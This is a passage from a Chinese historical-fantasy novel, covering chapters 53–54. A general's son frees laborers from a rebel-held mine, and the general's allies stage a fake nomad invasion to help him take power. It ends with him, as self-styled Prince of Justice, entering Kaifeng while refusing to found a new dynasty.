前面传来了呼喝声:“到地方了。前车村的人都去砸石头。后车村的去筛矿。左坊镇的去拉碎石,运水。都他妈别磨蹭,驻村的杨队长、司队长管好你们的人。柏队长,廖队长把昨晚的夜工都带回去。那两个死人吗,他们愿意抬就抬回去,不愿抬就扔进金溪里喂鱼。”紧跟着,就有义军抡着鞭子吆喝道:“都干活,干活。你瞅什么,往那边去!你们几个推车。你们去拿锤。你们去担框。”宋承宇压低声音对段鲲几人说:“这里的贼兵不少,咱的家伙又不在身边,各自先去劳动,注意观察周围变化,一会儿咱再商量。”说完,他便上前抄起了一把榔头,走向了矿场。 眼看已过午时,那些看管民夫劳动的义军由于饥肠辘辘开始躁动起来。又过了一会儿,士兵们纷纷走下哨位,聚集到炊锅附近吹牛打闹,单等着饭熟。宋承宇凑近段鲲说:“我瞧这会儿,矿山上除了两边箭楼上的贼兵和栅栏门前的贼兵外,其他小贼都聚集到了一块。他们有四五十人,你看咱俩能消灭他们吗?”段鲲往手里吐了口吐沫,假装轮锤砸石头,发狠说:“这榔头虽然不顺手,但打发这些王八蛋绰绰有余。”宋承宇也轮了两下锤,说:“好,我已命许地和罗文德接近了箭楼,咱俩现在就往炊锅移动,待会儿,他们一开饭,咱们就冲过去干翻了那帮畜生。” 不大一会,矿上的兵头手端着大碗走向了炊锅。他从锅里贪婪地捞盛着饭食,嘴里还骂骂咧咧地说:“这他妈连点荤腥都没有,老子白给上头生产那么多矿石了!”之后,他一边走着吃着,一边对那群眼巴巴看着的士兵说:“都盛饭去吧。”贼兵们嗷嗷叫着争先恐后地往炊锅涌去。已经移动到工棚附近的宋承宇冲着段鲲一使眼色,二人便提着榔头冲向了那群贼兵。随着一连串惨叫,转瞬间,段鲲便放倒了几个敌人。而宋承宇则径直冲到那个兵头面前,一锤击碎了他的脑壳。在远处,罗文德和许地也跟值岗的贼兵战到了一处,整座矿山陷入了混乱。 两刻钟后,罗文德锤杀了最后一个贼兵。他兴奋地跑向宋承宇,呼喊道:“少帅,这帮兔崽子都被我锤翻了。现在,咱们是回县城杀赃官呢,还是往邵武方向除恶霸呢?”宋承宇听他又叫少帅,气得直放屁。他扔掉带血的榔头,跳上一块巨石,高声喝道:“乡亲们不要怕,我们不是嗜血的强盗,我们只杀欺民害民的畜生。为了不连累各位,待我们走后,你们尽可以向贼人报告说,杀人者乃大周枢密使宋启愚的长子宋承宇。你们还可以告诉那些恶棍,多行不义必自毙,他们若不痛改前非、悬崖勒马,我宋氏父子要不了多久就会提兵来找他们算账!”下面跪着的老百姓已经很多年没有听过这么温暖的话了。一位老者仗着胆子问道:“少将军,您可是前些时大闹抚州,解救了百十名少女的宋姓英雄?”宋承宇朗声答道:“然,正是我宋承宇。”底下的劳工们激动起来。他们先是轻声喊道:“感谢宋将军!谢谢菩萨给我们送来了救星啊!”继而,人们发出了越来越大的欢呼声。栅栏门处的许地害怕时间长了情况有变,随跑过来要求宋承宇快些撤离。宋承宇也没耽搁,向着老百姓一拱手,便带着段鲲等人,离开了矿山。 在路上,许地不停地埋怨罗文德不该暴露身份。罗文德强辩道:“咱干的是扬名立万的好事,怎么能不让人们记住恩公的名字呢?大帅不是也常教育咱们,做人要光明正大吗!”许地一听他顶嘴,随骂道:“你这头蠢猪,大帅叫你光明正大也没叫你告诉所有人咱下面要往哪里去呀!这要是有人向贼兵告了密,咱还有个好吗?”罗文德咧嘴憨笑说:“你才是蠢猪。你想想我对众人说的什么,我说的是咱要回金溪杀赃官或者往邵武除恶霸,我可没说咱要往南走。”宋承宇劝解道:“老罗还是粗中有细的。不过,以后,在称谓上你可得注意些,别坏了咱们的事。”罗文德憨憨地笑笑,没敢再吭声。段鲲询问道:“承宇,咱这一路虽然调查了许多地方,但终究还是没能打听出蒋小姐的下落。这下一步,你有什么打算?”宋承宇想了想说道:“往南走。到赣南和龙岩去,无论有没有结果,我都要向我爹和蒋家人有个交代。” 次日凌晨,正在抚河边休息的宋承宇突然被值守的罗文德推醒。罗文德指着远处移动的火把说道:“看来是贼兵搜山的队伍,少帅,啊,承宇,你说该咋办?”许地一骨碌跳将起来,赶紧去扑熄身前的火堆。宋承宇略一思忖,指着大河说:“泅水过河。不过……”旁边的段鲲会意地拍了拍罗文德,说:“你落到我手里喽!叫你不好好学游水!”宋承宇又说:“这里再往南就到了朝廷控制区。由于黑夜里渡河难辨方向,如果咱们走散了,就各自向南,几天后,大伙在广昌会合。”许地拎了一根粗些的树棍放到罗文德怀里,说道:“蠢猪,这是没烧的柴火,抱着去泅水,也让段鲲少费些力气。”罗文德虽被扎得咧了一下嘴,但还是憨笑着说道:“多谢,多谢,还是老许对咱亲啊。” 黑暗里,几条人影先后投进了河中。宽阔的抚河翻滚着,转瞬便吞没了一切,只有那流水的咆哮声在天地间激荡,并传出了很远很远。 第五十三回1 晋阳的决断 早晨,下了多日的雪终于停住了。汴京内外粉妆玉砌、茫然一色,犹如涂上了白浆的木刻年画。宋启愚推开窗棂,望着雪景,缓缓吟诵道:“万里吹雪小年初,九州雷霆及岁除。往昔烟云犹在目,今朝小草写桃符。”他呆立半晌,对外厢喊道:“刘戈、杨道,咱们到园子里看看菜去,别把它们冻坏了。” 三人出得房门,转向后庭,脚踩在积雪上发出“咯吱咯吱”的声音。刘戈指着地上已有的一串脚印说:“肯定是参军又去‘求仙’了。还甭说,他那红黄蓝白黑五色的令旗还真好看嘞。”宋启愚感慨道:“这段时间,承循费心了,你俩也辛苦了。”杨道忙说:“分内之事,谈何辛苦。我们只愿大人早日脱困,给天下人留点生的希望。”见侧门处有两个御林军探头探脑,宋启愚笑着叫道:“二位差官不必躲藏,你们也是奉命行事,本枢密不会在意。眼看就过年了,今早我写了桃符春联,另外还有些散碎银两,一会儿都分与你们,补贴家用。”两个御林军不好意思地闪出身来,抱拳躬身说:“多谢宋大人。总让您破费,小人们心里实在不安。” 到了后花园,刘戈跑到菜地边上,扒开积雪,掀起草垫,下面立即透出了一抹鲜绿。刘戈欣喜地叫道:“大人,没事,这菜没事啊!”宋启愚也蹲到地头,笑眯眯地说:“翠嫩翠嫩的,似乎比三天前还长高了些。快把垫子盖上,咱再看看毛参军种的那块地。”这时,毛迪身穿道袍,手拿五色令旗,嚼着张纸走了过来。杨道显出嫌弃的表情说:“咦,参军又是满嘴黑,你也不嫌恶心。”毛迪冲着杨道一呲黑牙,笑着说:“我这叫咬文嚼字,懂不懂?象我这种文化,再吃十年书,也就看见大人一个背影,象你吗,恐怕就只能指望下辈子喽!”毛迪凑近宋启愚,压低声音说:“恭喜大帅。也许咱们很快就能解封了。”宋启愚长舒了一口气,微微点头说:“原本无罪过,何处惹尘埃。看来这还真应了我早上写的诗句‘万里吹雪小年初,九州雷霆及岁除。’啊。” 当天下午,谭琴果然拿着御旨前来,解除了御林军对宋府的封禁。 第二天即大年初一,宋启愚重获自由的消息传到了晋阳。童道生和吴襄非常高兴,立即把签署了公义宣言的在晋弟兄全都找来,向大伙通报了这一喜讯。余允文抚掌笑道:“就凭这个好消息,老夫也该畅饮一坛酒啊!”段卫国也嚷嚷道:“对对对,新年闻喜讯,咱们不醉不归。”已被提升为山西长使的唐明渊思忖着说道:“可是,旨意上并没有说恢复大人的职务呀。且宣道大人与冯相之间已有隔阂,一旦有人再次诋毁,那大人的自由甚至性命都有可能被剥夺呀!”童道生倒吸了一口凉气说:“不至于吧。朝廷不会如此轻率地更改政令吧。”韩德明摸着额角说:“唐长使所言不无道理。我这个妹夫太过正大光明,还真不一定敌得住那帮小人的明枪暗箭。咱们得想办法帮他重获权柄才行。”代表席军民来晋阳贺岁的毛奇一拍桌子说:“他娘的,哪有那么复杂!咱小毛带上朔州的两万弟兄杀进京城,立时就能解救大帅。到时候,咱再宰了那姓冯的,让咱大帅当宰相。啊不,干脆,咱小毛连皇上也宰了,让宋大人直接当皇上,童大人当宰相,席大帅当大将军。”吴襄制止他说:“你小子又犯浑。现在宣道大人还在人家手里,你这儿一出兵,大人立马没命。你呀,太鲁莽。以后遇事,想好了再说。”余允文也沉下脸说道:“休要胡说,咱们受了大周几十年的恩惠,怎能背叛国家呢?小孩子该掌嘴。”毛奇还想强辩,却被户部郎中吕世法制止说:“余先生教导的是。可圣人云‘人民为重,社稷次之,君为轻’,若国家无道,皇帝失德,我辈又怎能置天下苍生于不顾呢?更何况,现在,咱家大人还身处虎口,咱们也必须有所行动才对啊。”余允文沉吟道:“那冯体仁是圣人门生,我想,他未必就会做得太过分吧!”唐明渊苦笑一声,站起身说:“余先生该听过这句话,‘猜忌乃天下之乱源也。主疑臣则诛,臣疑主则反。主疑臣而不诛则臣疑而反,臣疑主而不反则主必诛之。’方今,那冯体仁出于某种考虑,暂时饶过了宣道大人,可久后,又有谁能保证他会维护咱们的正当权益呢?”一时间,众人陷入了沉默。还是童道生率先言道:“明渊说的有理。咱们该商量商量怎样才能让我家兄长重新掌权才是。”段卫国凝神说:“要我说,最好的办法就是让大人提兵在外,可具体怎样实现我一时还想不出好办法来。”一直坐在旁边没有说话的董元度此时突然开口道:“咱们何不给朝廷演一出柔然南侵的好戏呢!”吴襄眼前一亮说:“好主意呀!要是柔然南下,我们就可以要求朝廷派大人率兵来援。而且,我正烦驻咱山西的那个鸟黜治使呢。年前,他不是一再请求出巡关北吗,咱就让他去。我们就通过他的口向朝廷报告说,柔然入侵。之后,咱再杀了他祭旗,并报告朝廷黜治使是在抗击柔然的战争中战死的。你们看咋样?”童道生轻轻摇头说:“可是,这几年柔然的战略已经改变,他们的失烈门可汗还曾派遣使臣要求与我山西开展贸易,又怎么会出兵南侵呢?况且,现在又不是夏末,柔然就更不会对外用兵了。”董元度微微一笑说:“再造大,长白大,我刚才说的是给朝廷演一出柔然南侵的好戏,既然是演戏就不一定是真打,所谓的柔然骑兵也不一定非从北方来吗。”吴襄率先反应过来,叫道:“妙呀!可不是吗,不给朝廷设计这一出,哪有那么多美事同时落到咱们头上啊!元度啊,你小子可比光照的心眼多得多呀!”童道生凝神想了想,郑容说:“各位都是在公义宣言上签过名的人,也都是与我志同道合的兄弟子侄。如今宣道兄长有难,正该我辈勠力同心、施以援手。现在,我请众人仔细思量,一旦,咱们开始行动,可就没有回头路了。不知列位可愿与我舍身取义,共举大事?”段卫国跳将起来,大声言道:“咱老段早就盼着这一天呢,焉有不愿意的道理!”毛奇用拳捶着座椅的扶手说:“好啊,太好了!”余允文也挺直了身体,显出豪迈的表情说:“愿意。”之后,其他人也相继表达了赞同的意愿。童道生见众人均已表态,随开始与大伙讨论起排演柔然南侵大戏的细节问题。 第五十三回2 晋阳的决断 这场密议直到戌末才告结束。在送走了众人之后,童道生自己坐在后衙,呆呆地出神。这时,王虎进来禀告道:“大人,唐长使求见。”童道生有些诧异,旋即领悟到了什么,说道:“明渊去而复返,必有要事。快请他进来。” 片刻的功夫,唐明渊进屋躬身给童道生施了礼。童道生赶忙扶住他说:“自家人,不要客套。明渊有何赐教?尽管讲来。”唐明渊郑容说道:“大人,刚才我们所议只是解救恩师的第一步。不知您是否想过,宣道大人率兵来援之后,咱们接下来要怎样办呢?”童道生微微一笑,又点了点头说:“明渊果然才智过人,看出了我的忧虑。我也一直在想这个事。你不妨说说自己的想法,看看与我是否心有灵犀。”唐明渊正要讲话,外面又传来了急促的脚步声。值守的王虎并没有阻拦,而只是喊了声:“长白大人到。”随着喊声,吴襄的一只脚已经跨进了厅堂。他急促地说道:“如果宣道回晋,难道就让他在山西忍一辈子不成!”童道生和唐明渊对视了一眼,不由得哈哈大笑道:“真是英雄所见略同啊。”吴襄走进厅中,只迟愣了一瞬,便会意了一切,随说道:“我们三人何不将心中所想各自写在手心,倒看咱们的意见是否一致!”唐明渊笑着说:“好,晚辈先来。”他走向书案,取笔在手,随在手心写下了文字。童道生把吴襄让到桌前。这二人也分别在手上写了字。三人凑到灯前,同时展开了手掌。只见三只掌心都赫然写着黑亮的“反”字。这三个人互视而笑,心中极为欢愉。 自过了正月十五,在偏关以北便不时有“柔然”哨探出没,接着,又有小股“柔然”骑兵接近关城。不过这些敌人不像以前那样“打草谷”,却只是到处聒噪,投射战书,进行挑衅。敌情报到晋阳后,山西节度使童道生立即命令黜治使曾光启前往关北稳定人心,并派毛奇率领两千晋阳铁骑对其随行保护。 要说这位曾光启,也曾是个清官,可自打十几年前被宰相王克明讥笑为“空谈酸儒”之后,便改了性情,逐渐堕落为贪财的投机官痞。其后,他利用娘舅与冯体仁是同乡的关系,搭上了这位权贵,从而重新获得了提拔。三年前,曾光启刚到山西时,处处以上官自居,总想插手地方事务,被曹可用、吴襄、毛迪等人多次设局,甚至还被宋启愚直接抓了受贿现场。由于他每次都拿亲随顶罪,结果还被亲信出卖过两次,最终,这个人只得称病府中,闲居不出。这次,他意外地受到童道生的礼遇,便幻想着再次翻身,随摆开了仪仗朝着关北投去。 大同镇守使席军民对这位上差的到来非常重视。在向巡抚弓康年请示之后,席军民还派部将远赴雁门迎接曾光启,并赠送给他一大笔金珠宝贝。曾光启很享受这种众星捧月、唯我独尊的感觉。他不仅仔细了解了大同的军政、民政,还观看了士兵操典,训示了地方官员,甚至还视察了大同前卫、云川卫、玉林卫等多座关城,足足在大同呆了一个多月,才又往朔州巡视。 与此同时,赣闽交界处的龙岩地区已经进入了百花争艳的阳春季节。月半这天,坐落在县城东南的蒋清合府邸张灯结彩、热闹非凡。大批蒋氏亲族和本地的官绅乡民坐在蒋府前后的庭院里聊天说笑,等待开宴。只听门前的执事高声叫道:“刘县令来贺!”随着话音,一名七品服色的官员手捧着红色礼单趋步走进了府门。这位县令满脸堆笑地冲着刚从正厅迎出来的年轻公子施了一躬说:“刘某恭贺蒋二少爷荣升梅州知县。区区薄礼,还望蒋大人笑纳。”蒋家少爷接过礼单,笑着说:“劳县主破费。快请厅内上坐。”谁知那县令不但没有上前,反而后退了两步跪倒磕头说:“下官刚才是给蒋大人道贺的礼,这次是给冯相请安的礼,还请蒋大人代刘某向冯相转达。”蒋家少爷伸手虚扶了一下,说道:“刘大人礼数周全,本官嗣后会替你美言的。”接着,这二人便互相谦让着走进了厅堂。 坐在堂前的几位宾客见此情景,挑起大拇指凑趣说:“蒋公衣钵后继有人,可喜可贺啊!”邻桌的一位老者还转过身子说:“我听说蒋大少爷也升任了什么湖湘着作郎。这兄弟二人要是到了我这把年纪,只怕是比蒋公的官位还要高嘞。”靠近门墙的桌子边上,一位乡民质疑道:“要说大少爷,进士出身,坐上高位不稀奇。只是这二爷,连蒋公都说他不成器,连个秀才都没考上,怎么就突然当知县了呢?”前桌坐着的一个中年乡绅压低声音说:“这就叫朝里有人好做官。你呀,还是蒋族的长辈嘞,竟连这事都不知道!”乡民们的好奇心被激发了出来,纷纷问道:“五哥,究竟是啥事啊,我们确实不知道,你就说说呗。”中年乡绅自鸣得意地晃了晃脑袋,低声说:“我只告诉你们几个啊。你们可别到处乱说。”周围的几个年轻人催促道:“五哥,别卖关子了,快说吧。”中年乡绅笑了笑说:“这蒋家现在攀了宰相的高枝,是冯相爷的亲家嘞。”他又往前探了探身子言道:“你们不知道吧。去年办过丧事的蒋家小姐其实没有死。”看着众人惊愕的表情,这位乡绅更加得意地说道:“实际上蒋小姐是被冯相的三公子私藏起来了。因之前小姐已经许配给了宋枢密的儿子,那位冯公子怕不好交代,才扯了这么个谎。你们想想看,冯公子私配了蒋小姐,这两家可不就成亲家了吗。堂堂宰相抬举蒋二少爷做个县主还不是一句话的事儿吗?”邻桌的老者半信半疑道:“小五,你又瞎编,书香门第咋会干出这等丑事来?”乡绅把眼一瞪说:“三伯,我可没说瞎话啊。你知道,我家大外甥在赣南府衙当差,这些都是他亲眼所见。前些时,那冯知府调任湖湘的时候,蒋小姐就坐在后面的香车里……”他刚说到这里,门边坐着的一个年轻人拍案而起,怒吼道:“寡廉鲜耻!欺人太甚!我,我……”年轻人没有再骂什么,只是对三个手下恨恨地吩咐道:“我们走。这种脏地方,我一刻也不想呆。”说完,年轻人不理面面相觑的满座宾客,径直跨出了蒋府。 也许看官们都已猜到,这位年轻人不是别个,正是历尽了千辛万苦要帮蒋家寻找失女的宋承宇。承宇站在十字街头,仰天长叹道:“父亲,儿子完成了对您的承诺,只是,儿子没有想到会是这样的结果。”见少帅脸色铁青,浑身颤抖,段鲲、许地和罗文德都非常心疼。许地躬身说:“承宇万万不可动了真气,为了这些无耻之徒,咱不值当的。”段鲲也解劝说:“是啊,承宇。咱们还是先回京城,向大帅禀报。我想大帅饶不了这帮王八蛋。”罗文德则抱拳说:“少帅,你就说怎样才能让你出气。我老罗上刀山、下油锅也帮你解了这个委屈!”宋承宇努力睁大了眼睛,生生把即将夺眶的眼泪憋了回去。他咬着牙说:“你们以为我是在替自己委屈吗?不,我是为天下苍生不值啊!这一路走来,你们也看到了,国家败坏成了什么样子,百姓潦倒到了什么地步。他冯体仁不能匡扶社稷,不能安邦定国,不能救助黎庶,不能任用贤才;反而横征暴敛,欺压良善,放纵子弟,为所欲为;这样的统治者难道不是人民公敌吗?我们难道还能允许他继续长久地祸害国家吗?”段鲲三人紧攥着拳头,义愤填膺地答道:“不能!”宋承宇粗重地喘了几口气,坚定地说道:“我们走,回北方。这种脏地方,我一刻也不想呆!” 第五十三回3 晋阳的决断 曾光启去往朔州的时候,已是三月下旬。他本以为这里会象大同一样对他恭敬有加,可谁成想,朔州镇守使董阳根本就不搭理他,竟接连几天把他晾在驿馆,连餐食都不予供应。曾光启气愤不过,还摆开仪仗到镇守使衙门理论。哪知董阳这个“愣头青”直接派出了几百亲兵,对曾光启和他的手下一顿胖揍,并把他赶出了朔州城。 狼狈不堪的曾光启领着几十个随护坐在恢河边上,正不知所措时,从西边奔来一哨人马。这支队伍到了近前,领头的军将翻身下马,叉手施礼说:“偏关镇守吴双桂拜见黜治使大人。”曾光启坐直了身子,整了整衣帽,抬手说:“将军请起,本官……”他本想说自己欲回晋阳,可又觉得有些丢脸,便改口说:“本官正要到你的偏关去,不想在此碰到了将军。”吴双桂又一抱拳说:“那正好。末将本来就是要进朔州拜见大人的,既然遇到,就由末将保护大人前往偏关吧。”曾光启不好拒绝,于是便跟着吴双桂往西行进。 至夜,一行人马走到了烈堡附近。吴双桂命令扎下营寨,并布置了防卫。奔波了一天的曾光启实在太累了,在简单用了些饭食之后,便一头扎进了帐里。到了后半夜,睡得迷迷糊糊的曾光启被人强行推醒。他睡眼惺忪地骂道:“混账,谁人在此搅闹。”蹲在他身前的吴双桂也不管那么多,焦急地喊着:“大人,不好了,北边奔来了大批柔然骑兵!离我们只有五里了!”曾光启被吓得一哆嗦,赶紧爬将起来,边披衣服边问:“吴将军,这,这,这,这可如何是好?”吴双桂继续吓唬他说:“据末将目测,敌兵至少有十万人马,这要是被包围了,咱们一个都别想活命!”曾光启颤抖着声音说:“这,这,这么多敌人,吴,吴将军救我!”吴双桂上前一步拉住曾光启,说:“事情紧急,还请大人速速随我逃往朔州御敌。”曾光启还想说几句硬话,可身子却已绵软,他费了好大力气才又从牙缝里挤出了几个字:“就,就,就依将军。” 曾光启被吴双桂架到车上的时候,他举头望了一眼北方,但见远处漫山遍野俱是火把,满坑满谷都是骑兵。曾光启瘫倒在车内,只觉得地面都被柔然骑兵的铁蹄撼动着,耳边又满是战马的嘶鸣声和敌军的呐喊声。突然,一枝雕翎箭穿透了车帘,落在曾光启脚前。这位黜治使大叫了一声“妈呀”,随颤声命令道:“快,快,快走,快走!” 几天后,柔然十万大军入侵关北的急报接连递进了京师,紧跟着,童道生等在晋官员联名保奏宋启愚率兵援晋的奏折也送到了冯体仁手上。 冯体仁思虑再三,又找司马德文、谭琴等亲信商量了几回,才最终决定,命宋启愚率领两万禁军赴晋,并节制山西、河北诸路兵马,抵御柔然大军。 四月十五日卯正,宋启愚再次戴上了已经蒙尘的镔铁狮子盔,披上了银叶连环甲。他骑乘着自己的白龙战驹,在一众部将的簇拥下,威风凛凛地奔进了点军场。禁军将士们对大帅的归来,显得无比激动。人们由衷地呼喊道:“大周威武!大帅威武!大周必胜!大帅必胜……” 同一天,童道生、席军民和吴襄也在晋阳举行了一场高级军政会议。在会上,童道生先拿出了一份推戴文书让众人签名。见仍有部分官员犹疑,吴襄便命令吴双桂把一个红漆木盒放到了帅案上。童道生扫视着下面的官员,大义凛然地说:“山西若无宋氏庇护,二百年前就已附属北国。大周若无宣道支撑,关北、幽燕、雍州乃至丹汉、山东、淮南俱会分崩离析。诸位若无大帅带领,又怎能建设出家有余粮、人丁兴旺的山西乐土。可朝廷这些年又在做什么呢?同泰末年,内廷争斗,祸起萧墙;共治年间,二王倾轧,天下大乱;天通之初,加征兵饷,民变肆起;天通之末,苛税沉重,禁榷横行;及至冯体仁为相,更是恶政频出,内外交困。冯体仁为了打压异己,建议削藩,结果雍州、燕热、四川、广西、江南相继分裂;冯体仁为了争权夺势,先后罢黜了刘睿、张永德、单宏波等宰执,导致人人自危,官场腐败;冯体仁本人还结党营私,处处盘剥,使得国家经济凋敝,民不聊生。对我山西,冯体仁更是恣意搜刮,恶意插手。他派来的黜治使曾光启竟要将我山西三百八十万两存银调往中央,那可是我全省军民多年积攒下的养命钱啊!若非宋大人警觉,发现了曾氏贼子欲把八十万两官银据为己有的铁证,拦下了这项输送,我山西官民的血汗岂不化为乌有!到了去年,宋大帅率军出征,扫平淮南,为国家立下了不世之功,可朝廷不但不予赏赐,反而将其软禁,限制自由。这种失德寡情不公无义的朝廷,我们还能效忠她吗?这样贪污腐化擅权猜忌的宰相,我们还能不把他赶下台吗?”席军民、吴襄等属员义愤填膺地高呼道:“不能!要打倒冯体仁!要推戴公义王!”吴襄指着几位官员骂道:“杜轸,你家乡闹匪,是宋大人派人救你一家来晋。邓泽,你身陷党争,是宋大人替你开脱,使你免罪。还有你,全保通,若没有宋大人的提携,你怎能有今天?你们这些人的良心都让狗吃了吗!”吴襄走到帅案前,手抚着红漆木盒说:“我知道,有些人顾虑大事不成连累自己。不过,我告诉你们,就算尔等不签名,你们也脱不了干系。因为,在这之前,你们都签署了抵制曾光启的文书,而这个曾某人就在这里。”他“唰啦”一下打开木盒,赫然露出了一颗龇牙咧嘴的人头。看见这个阵式,那些不愿签名的官员再也不敢坚持,全都老老实实地在推戴文书上签了字。 之后,席军民朗声吩咐道:“如今,宣道大人有难,本将受童大帅所托,于后日将率十万铁骑抵近黄河,迎接宣道大人。本将会在壶关地区正式劝谏宣道大人进位为公义王。在此,本将命令留守山西的韩德奎、宋启智、李开复、王虎等将领维持地方治安,保证后方关防。而随我出征的全体将士,本将更要与你们歃血为盟,并命令你们效忠我王,奋勇向前……” 在军政会议最后,童道生霍然站起,豪迈地说道:“天下人受困已久,正是我辈解民倒悬之时,今日咱们既然推戴了公义王,就该效忠公义王!共同救国难!”近前的吴襄、韩德明、段卫国、董阳等将领振臂高呼道:“效忠公义王!共同救国难!”紧接着,会场中的几百名文臣武将也纷纷加入进来,激动地呼喊道:“效忠公义王!共同救国难!效忠公义王!共同救国难……” 第五十四回1 公义王的决定 皇统三年的端午节,巳时,宋启愚的十几万大军进抵了封丘门外。公义王没有马上下令攻城,而是先扎下营寨,并命人给冯体仁送去了劝降书。 午时,宋启愚照例在帅营擂响了战鼓。各营的主将和主官们纷纷整饬衣冠聚集到公义王帐外,准备听候大帅调遣。哪知,帐前守卫的许地和杨道突然宣称公义王得了急病,不能理事,要求各军将领约束好部队,不许随便行动,更不许骚扰百姓。这下可把将校们吓坏了,他们跪在公义王帐前交头接耳,不知所措。 申时,宋启愚终于露了面。只见他头缠布条,在儿子宋承宇的搀扶下走出了大帐。即使这样,帐前的军将们还是忍不住欢呼了起来。宋启愚坐到虎皮帅椅上,环视着面前的生死弟兄,唏嘘道:“列位都是和我并肩作战了多年的忠勇之士,此次,为了国家,你们又随我来到了京城,我多想带领你们取得一番成就啊!可是,偏偏有人不愿让我功德圆满,致使我忧愤成疾。哎,或许,我命不久,特来与君等话别。”段卫国瞪大了双眼,抱拳说道:“谁人如此大胆,敢碍王爷的事,我老段提兵去灭了他全族!”董阳上前说:“公义王只管讲出是谁,我等愿往击之!”席军民也抱拳问道:“公义王可是担心冯体仁不肯投降,或是顾虑禁军强大,开封城难以攻克?”申鲤自信地说道:“公义王大可放心,咱城内的余天锡、叶明奇等将士已经控制了小半个汴梁,三天之内拿下开封,不是问题。”后面的崔同和董元度则高声叫道:“公义王,就算他皇城坚固,咱的炮军也能炸开它,咱还要把冯体仁和皇帝小儿捉来见您!”吴襄略一沉吟,向上磕头说:“公义王定能功德圆满。若公义王不弃,末将愿率本部突击,为您攻取城池。”伍名、戴新民、张广胜、冉世杰等将领全都摩拳擦掌,向前探着身子恳请道:“末将也愿替公义王率军攻城。”宋启愚摇了摇手说:“列位若真这么做,我就更没有活路了。”毛迪在向杨道询问过大帅的起居情况后,抱拳说:“公义王,您是不是怕咱们军纪废弛,做出有损仁义的事情啊?我毛承循指天发誓,必当严格约束部队,不伤皇家血脉,不犯先帝陵寝,不动百姓一分一毫。”下面的将校们听了这话,也似突然顿悟,全都躬身表示愿意一同起誓。可宋启愚却抚住脑门说:“不行,头好痛,头好痛!”旁边的曹可用思虑再三,挥手制止住众将道:“列位将军,各位大人,我想公义王一定是有特别重要的事情要向大家交代,我们不妨按序跪好,认真听取公义王的训示。”说完,曹可用规规矩矩地整理冠服,伏地等待宋启愚讲话。其他将校也都有样学样地跪在了地上。宋启愚轻叹一声,缓缓地说道:“十日前,在泽州称王时我就说过,我行大事是为了国家和人民获得更美好的未来,而绝非为了个人膨胀的野心。但在前几日,我却听说,已有将帅在私下串联,欲为我准备皇袍,并将在攻入汴京后,逼迫皇帝禅位于我。当时,因前途未卜、局势不明,本王只能暂且隐忍,而今,克复开封只在朝夕之间,有些话我不能不讲。”宋启愚略微顿了一下,继续说道:“本王着实没有代周自立之意,也不允许任何人逼我皇袍加身。若在攻进开封后,尔等仍然动这样的心思,本王便要退隐山林,永不出仕。”军将们听了这话,一个个惊惧得连大气都不敢出。 过了片刻,董阳和吴襄等人对视了一眼。董阳向前跪爬了两步说道:“可是,可是,公义王,历朝历代不都是前朝暴虐,后朝伐之吗?”吴襄也磕着头说:“公义王,您乃不世的英雄,德名人望遍布寰宇,您若登基称帝既合天地之道,又助亿兆生民,这难道不可行吗?”后面跪着的欧阳亮连连磕头,焦急地说道:“公义王,天予不取反受其祸啊!难道您忘了西楚霸王遍封诸侯而终被消灭的故事吗?”宋启愚轻轻扯下头上的布条,威严地说道:“在我看来,历朝历代的做法都错了!那些打下江山的统治者根本没把人民当回事,他们只想不受约束,并把国家当成自己的私产,而我们的政治文化传统也从来不讲究制约皇权。这就造成我们的国家总是在‘流血战争、严酷统治、贪污腐败、矛盾升级、天下大乱’之间循环。并且,我们的人民也始终无法过上太平幸福的生活。为此,本王决意打破这一切。即,在夺取政权后,我做摄政王,不立新朝代,只改旧制度。”曹可用、席军民和毛迪只犹豫了一瞬,便磕头说道:“我等是公义王的部下,对您的决断我等坚决拥戴。”紧接着,戴新民、张广胜、董元度、王银虎等人也磕头表示了服从。段卫国和申鲤几乎同时向前跪爬道:“公义王,若不改旧朝,一旦皇帝得势,进行报复,那咱们可就死无葬身之地了呀!”宋启愚继续说道:“这点你们不必担心。我既做了摄政王就将全面改革旧制,限定每个人的权力,使任何人都不能为所欲为。”吴襄再次向上磕头说:“可,公义王,您就不考虑承宇这些孩子的利益了吗?他可是有可能成为太子的呀!”宋启愚拍了拍儿子的手,说道:“正是为了全天下的儿孙们,我才更该如此安排。我也知道,承宇是个好孩子,但谁又能保证我的后代里没有祸乱天下的人呢?为国家定下规矩要比为我一家一姓谋福利重要得多呀!”董阳和欧阳亮等人最后磕头辩驳道:“公义王,若您决心已定,我等也会衷心支持。只是,只是无论如何您得换掉现在的皇上。那石满小儿毕竟是冯体仁所立。他在台上,我等实在放心不下。”宋启愚抚着额角想了想说:“也罢。我就向你们交个底,本王想立先扬王殿下的幼子石潢为帝,并且已派刘戈前去搬请殿下了。也许,在场的大多数人都听说过‘同泰遗诏’的传闻。本王也不妨再给你们讲讲这段往事。”接着,宋启愚就把同泰帝写遗诏命扬王石坦继位,二王争权鸩死共治帝,天通帝取得遗诏屠尽扬王一家,以及睢阳王石潢的来历等等经过向众将讲述了一遍。听着这凄惨的故事,望着坦荡无私的公义王,又想到各自家族曾经遭受过的苦难,将佐们都被宋启愚的高尚人格打动了。最后,宋启愚站起身说道:“本王的决定,不是一时的心血来潮,也不是毫无原则的胡乱举措,而是在参考了历史和现实后,为国家和人民做出的最佳选择。本王不求众位现在就理解我的苦心,本王只求你们给我一点时间,让我创造出一个公正无私、遵道秉义的光荣时代。”下面的将领和主官们不再争辩。他们全都磕下头去,高呼道:“我等遵从公义王的决定,愿随您创造一个新时代!” 第五十四回2 公义王的决定 当晚,席军民、段卫国、吴襄、毛迪等大将受命在开封城外敲了一夜的战鼓,而炮军统领崔同和董元度也在北城门外放了一夜的空炮。 第二天一早,心理上承受了巨大压力的宰相冯体仁终于屈服了。他进宫拜别了痛哭流涕的小皇帝石满,又到政事堂将盖过印章的亲笔文书交给执政白铭肇,命其代表自己前往公义王大营商洽投降事宜。之后,冯体仁返回相府,谢绝一切来客,单等宋启愚进城,清算自己的罪责。 至午,公义王率领大军秩序井然地开进了汴梁城。 